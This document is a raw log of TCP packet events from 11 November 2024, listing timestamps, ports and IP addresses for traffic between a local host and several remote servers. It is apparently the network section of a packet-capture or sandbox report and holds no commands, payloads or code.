Nov 11, 2024 12:40:28.643361092 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.643377066 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.643408060 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.643412113 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.643444061 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.643629074 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.650031090 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.650048018 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.650105953 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.650110006 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.650305033 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.650410891 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.650425911 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.650458097 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.650463104 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.650489092 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.650507927 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.650866032 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.650878906 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.650918007 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.650923967 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.650985003 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.651525974 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.651587009 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.651591063 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.651597977 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.651644945 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.652911901 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.657361984 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.658533096 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.659249067 CET	443	49875	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.660020113 CET	443	49873	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.660192966 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.663557053 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.663577080 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.664613008 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.664680004 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.667464972 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.667525053 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.667748928 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.667757034 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.704068899 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.704092026 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.711710930 CET	443	49876	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.724654913 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.724669933 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.724672079 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.762728930 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.762904882 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.762967110 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.770761967 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:28.782402039 CET	443	49881	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:28.788445950 CET	49875	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.788465023 CET	49876	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.788467884 CET	49873	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.797274113 CET	49881	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:28.797285080 CET	443	49881	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:28.797430992 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:28.797442913 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:28.798444986 CET	443	49881	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:28.798554897 CET	49881	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:28.798561096 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:28.798614979 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:28.847870111 CET	49876	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.847882032 CET	443	49876	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.848572969 CET	49876	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.848579884 CET	443	49876	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.850482941 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.850492001 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.851727962 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.851732016 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.852142096 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.852165937 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.852529049 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.852538109 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.852953911 CET	49875	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.852960110 CET	443	49875	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.853454113 CET	49875	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.853457928 CET	443	49875	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.853780985 CET	49873	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.853787899 CET	443	49873	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.854147911 CET	49873	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.854151011 CET	443	49873	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.855640888 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.860260963 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.860268116 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.860629082 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.861718893 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.861787081 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.863732100 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.883686066 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.883702040 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.885123014 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:28.885308027 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:28.885333061 CET	49881	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:28.885498047 CET	443	49881	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:28.892302990 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:28.892324924 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:28.893074989 CET	49881	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:28.893093109 CET	443	49881	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:28.898173094 CET	49889	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.898209095 CET	443	49889	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.898360968 CET	49889	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.901593924 CET	49889	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.901607990 CET	443	49889	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.902770042 CET	49890	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.902800083 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.902941942 CET	49890	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.903357029 CET	49890	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.903368950 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.911333084 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.922787905 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.927711010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.937522888 CET	443	49876	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.937565088 CET	443	49876	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.937633991 CET	49876	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.938628912 CET	49876	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.938644886 CET	443	49876	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.938714981 CET	49876	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.938721895 CET	443	49876	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.941900969 CET	443	49875	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.941909075 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.941919088 CET	443	49875	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.941931009 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.941971064 CET	443	49875	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.941986084 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.942012072 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.942017078 CET	49875	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.942053080 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.942054033 CET	49875	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.942591906 CET	443	49873	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.942688942 CET	443	49873	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.942950964 CET	49873	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.943239927 CET	49875	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.943245888 CET	443	49875	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.943293095 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.943310976 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.943370104 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.943376064 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.943428993 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.945957899 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.945966005 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.945981026 CET	49874	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.945985079 CET	443	49874	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.946398973 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.946424961 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.946438074 CET	49877	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.946444035 CET	443	49877	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.947309971 CET	49873	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.947319031 CET	443	49873	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.947330952 CET	49873	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.947334051 CET	443	49873	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.948724031 CET	49891	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.948735952 CET	443	49891	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.948813915 CET	49891	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.948996067 CET	49892	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.949028015 CET	443	49892	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.950756073 CET	49892	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.951666117 CET	49891	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.951677084 CET	443	49891	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.952306986 CET	49893	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.952348948 CET	443	49893	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.952697039 CET	49892	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.952708006 CET	443	49892	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.952716112 CET	49893	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.952862978 CET	49893	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.952881098 CET	443	49893	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.954107046 CET	49894	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.954129934 CET	443	49894	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.954484940 CET	49894	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.955261946 CET	49895	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.955271959 CET	443	49895	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.955416918 CET	49895	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.955514908 CET	49894	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.955537081 CET	443	49894	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.955604076 CET	49895	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:28.955619097 CET	443	49895	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:28.992733955 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:28.994381905 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:29.005059004 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:29.005137920 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:29.006836891 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:29.006854057 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:29.018531084 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.018744946 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.018779039 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.018954039 CET	443	49881	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.019026995 CET	49881	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.019833088 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.019890070 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.020488024 CET	49881	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.020502090 CET	443	49881	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.024574995 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.024593115 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.024626017 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.024684906 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.024701118 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.024770975 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.024785042 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.024928093 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.025158882 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.025238991 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.025609016 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.029277086 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.029287100 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.029655933 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.029675961 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.029876947 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.030003071 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.031120062 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.031183004 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.031488895 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.031555891 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.032687902 CET	49886	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.032711029 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.033052921 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.033057928 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.033067942 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.033190012 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.033215046 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.034110069 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.034188986 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.034301043 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.034367085 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.034751892 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.034898996 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.035686016 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.035762072 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.036854029 CET	49886	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.036921978 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.037487030 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.037503004 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.037921906 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.037986040 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.038301945 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.038371086 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.040894032 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.040901899 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.040966988 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.040976048 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.041409016 CET	49896	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.041433096 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.041518927 CET	49886	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.041585922 CET	49896	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.042190075 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.042200089 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.042521000 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.042529106 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.042778969 CET	49896	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.042792082 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.079888105 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.079924107 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.079960108 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.079967022 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.080003977 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.080018997 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.083339930 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.105803013 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.105820894 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.105876923 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.105882883 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.106173038 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.122876883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.122898102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.122919083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.122925043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.122931004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.122947931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.122955084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.122955084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.122961998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.122972965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.122977018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.122988939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.122991085 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.123002052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.123014927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.123017073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.123056889 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.123071909 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124131918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124145031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124155998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124181986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124192953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124198914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124205112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124217987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124232054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124242067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124269009 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124336958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124350071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124360085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124372005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124376059 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124388933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124397039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124402046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124414921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124424934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124430895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124450922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124455929 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124468088 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124480963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124485016 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124495029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124500990 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124509096 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124522924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124531031 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124535084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124546051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124557018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124561071 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124571085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124583960 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124592066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124608040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124617100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124634027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124634981 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124645948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124656916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124659061 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124669075 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124674082 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124687910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124699116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124710083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124711037 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124722004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124742985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124746084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124754906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124764919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124768972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124778032 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124783039 CET	80	49827	185.215.113.206	192.168.2.6
